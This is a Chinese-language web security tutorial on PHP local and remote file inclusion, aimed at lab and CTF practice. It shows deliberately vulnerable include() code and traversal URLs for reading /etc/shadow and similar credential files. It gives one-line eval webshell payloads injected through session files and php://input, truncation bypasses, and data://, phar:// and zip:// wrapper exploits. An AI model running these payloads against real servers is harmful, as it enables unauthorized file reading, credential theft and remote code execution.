Local/Remote File Inclusion 文件包含漏洞
参考文章:Web安全实战系列:文件包含漏洞
文件包含是什么?我们为什么要使用它?
文件包含在网页开发中会经常被使用到,比如导航栏,亦或是页眉,往往都是单独的一个php文件,然后每一个页面只需要将这个php文件包含进来而节省了重复开发的时间,还有一种常见的形式就是sql连接,大家在搭建靶场的时候相信经常都会遇到的配置问题,例如修改端口号,Mysql账号密码等,都可以在一个专门的php文件中修改,而不是需要在每一个sql连接的地方去做修改。
PHP文件包含函数:
require()
require_once()
include()
include_once()
include()
和 require
的却别在于当包含过程中处理错误的方式,include会抛出警告,程序正常运行;而require会选择直接报错并且退出程序的执行
两个once都表示文件只包含一次,为了避免重复包含带来的函数重定义。
文件包含漏洞产生的原因
对于用户的输入没有做严格的审核,还是这个老问题,包含的文件需要用户的输入,那么如果没有经过严格的审核,被黑客包含了其他恶意的文件,亦或是被利用执行了额外的代码,就会造成危害。
<?php
$filename = $_GET['filename'];
include($filename);
?>
例如这里这个GET参数,就可以轻易被修改(修改url即可)
Local File Inclusion 本地文件包含漏洞
本地文件包含漏洞,这里“本地”指的是服务器本地,主要是利用目录遍历的手法加上操作系统常见的敏感文件路径来读取信息
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
*inux 系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
利用的形式大致如此:
www.example.org/index.php?filename=../../../../../../../etc/passwd
Session 文件包含漏洞
Session文件包含漏洞一般发生在用户输入将会存入session文件中,我们可以通过植入恶意代码到session文件中,然后执行session文件让里面的恶意代码被解析然后执行
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
我们可以通过phpinfo获取我们本地的session存储位置,然后猜测目标服务器的session存放地址 假设为/Applications/MAMP/tmp/php
然后我们可以将恶意代码当作参数执行
localhost/session.php?ctfs=<?php phpinfo();?>
然后通过浏览器的开发者工具确认cookie的名字
接着在本地查看我们的恶意代码是否注入成功
接着可以执行恶意代码,phpinfo显示成功
同样我们也可以注入一句话木马
localhost/lrfiSession.php?ctfs=<?php @eval($_POST["a"]);?>
然后用蚁剑连接成功
常见限制绕过
-
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
通过添加%00截断后面的html
-
路径长度截断
条件:windows OS,点号需要长于256;linux OS 长于4096:
- Windows下目录最大长度为256字节,超出的部分会被丢弃;
- Linux下目录最大长度为4096字节,超出的部分会被丢弃。
沿用上一个例子,将html超出范围后舍弃
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
localhost/lrfiTest.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
-
点号截断
条件:windows OS,点号需要长于256
<?php $filename = $_GET['filename']; include($filename . ".html"); ?>
localhost/lrfiTest.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Remote File Inclusion 远程文件包含漏洞
远程文件包含漏洞,这里的“远程”指的是包含服务器以外的远程文件
漏洞执行条件 这里需要满足两个参数的开启
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
<?php
$filename = $_GET['filename'];
include($filename);
?>
localhost/lrfiTest.php?filename=xxx.xxx.xxx/trojan.php
常见绕过
-
问号绕过
localhost/lrfiTest.php?filename=xxx.xxx.xxx/trojan.php?
-
#绕过
localhost/lrfiTest.php?filename=xxx.xxx.xxx/trojan.php#
PHP Supported Protocols and Wrappers PHP伪协议
PHP伪协议主要是一系列以与URI scheme的外形相似的封装协议,用来与 fopen()
, copy()
, file_exists()
, filesize()
配合使用,同时也可以用 stream_wrapper_register()
创造新的方法。
PHP只接受 scheme://...
的形式,而 scheme:/...
, scheme:...
都不行
在CTF中的运用,个人目前的理解是,当服务器端存在需要用户输入的参数,并且调用这个参数的函数可以与PHP伪协议连用,那么就可以通过PHP伪协议来构造一些PHP操作来实现恶意行为(相当于在写php代码)
- file:// — Accessing local filesystem
- http:// — Accessing HTTP(s) URLs
- ftp:// — Accessing FTP(s) URLs
- php:// — Accessing various I/O streams
- zlib:// — Compression Streams
- data:// — Data (RFC 2397)
- glob:// — Find pathnames matching pattern
- phar:// — PHP Archive
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — Audio streams
- expect:// — Process Interaction Streams
php://
php:// 伪协议可以访问PHP自己的输入和输出流以及错误描述描述符,还有访问内存和磁盘备份的临时文件流以及过滤器来决定想要访问的读写文件资源
-
php://stdin, php://stdout 和 php://stderr
使用php://stdin, php://stdout 和 php://stderr可以直接访问PHP进行所对应的输入或者输出流,访问的时候使用的是引用的文件描述符,而真正的STDIN是不会收到影响的
php://stdin 是只读的, php://stdout 和 php://stderr 是只写的。
-
php://filter
php://filter
可以与readfile()
,file()
,file_get_contents()
函数进行配合使用,用来读取本地磁盘文件,它可以在打开文件时对文件内容进行处理条件:Read-only只读,需要开启 allow_url_fopen,不需要开启 allow_url_include;
可以使用参数来指定过滤的方式
名称 描述 resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。 read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符分隔。 <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 试一下试试
<?php $filename = $_GET['filename']; include($filename); echo $filename; ?>
这里我们通过
php://filter
可以得到lrfiSession.php
中以base64加密的内容,然后再解密得到其明文内容http://localhost/lrfiTest.php?filename=php://filter/read=convert.base64-encode/resource=lrfiSession.php
-
php://input
php://input是一个“只读”的流,它允许我们直接读取POST上没有经过解析的原始数据
enctype=“multipart/form-data” 的时候 php://input 是无效的
需要同时开启
allow_url_fopen
,以及allow_url_include
<?php $filename = $_GET['filename']; include($filename); ?>
我们可以利用
php://input
来执行POST中的php代码,从而写入一句话木马到服务器文件目录下http://localhost/lrfiTest.php?filename=php://input
<?PHP fputs(fopen('lrfiInput.php','w'),'<?php eval($_POST[a]) ?>');?>
-
php://output
测试
file://
file:// 代表了本地文件的路径,它也是默认的分装类,如果文件路径没有指明使用哪一个分装类,那就默认是 file://
Usage
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
data://
data:// 是一个数据流封装器
使用格式:
data:[<mime type>][;charset=<charset>][;base64],<encoded data>
- 协议头:data://,使后面的内容被识别为一个data URI资源
- MIME类型,我们在 File upload 中也曾经介绍过,例如text/plain, image/jpeg, image/gif, image/png, etc.
- 编码设置,默认编码为 charset=US=ASCII (自动编码为%xx)
- base64编码设定,可选项,base64编码中仅包含0-9,a-z,A-Z,+,/,=,其中=是用来编码补白的
- DATA URI所承载的内容(也是我们插入要注入的恶意代码的地方),它可以是纯文本编写的内容,也可以是经过base64编码的内容。
使用条件:
allow_url_fopen: on
allow_url_include: on/off
php版本≥php5.2
需要注意的是,当allow_url_include为on时,任意文件包含就会成为任意命令执行
利用:
plaintext:
?filename=data://text/plain,<?php phpinfo()?>
or encoded by base64:
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://localhost/lrfiTest.php?filename=data://text/plain,<?php phpinfo()?>
phar://
phar只能用在本地文件上,因此我们所举的例子都是在文件上传成功的基础上进行的
使用格式
?filename=phar://[压缩包名称][/内部文件名称]
?filename=phar://xxx.png/shell.php
压缩文件可以改为任意后缀
假设我们通过文件上传漏洞上传了一个叫做 shell.png
的压缩包(一定要用zip压缩,rar不行),然后shell.png解压缩之后是phpinfo.php这个文件
那么我们就可以再利用 phar
来进行解压缩并执行
http://localhost/lrfiTest.php?filename=phar://shell.png/phpinfo.php
http://localhost/lrfiTest.php?filename=phar://[绝对路径]shell.png/phpinfo.php
zip://
用法与phar有所不同
?filename=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
?filename=zip://xxx.png#shell.php。
条件: PHP > =5.3.0,注意在windows下测试要 5.3.0<PHP<5.4 才可以 同时,#在url中要编码为%23,否则浏览器默认不会传输特殊字符。
http://localhost/lrfiTest.php?filename=zip://[absolute_path]shell.png%23phpinfo.php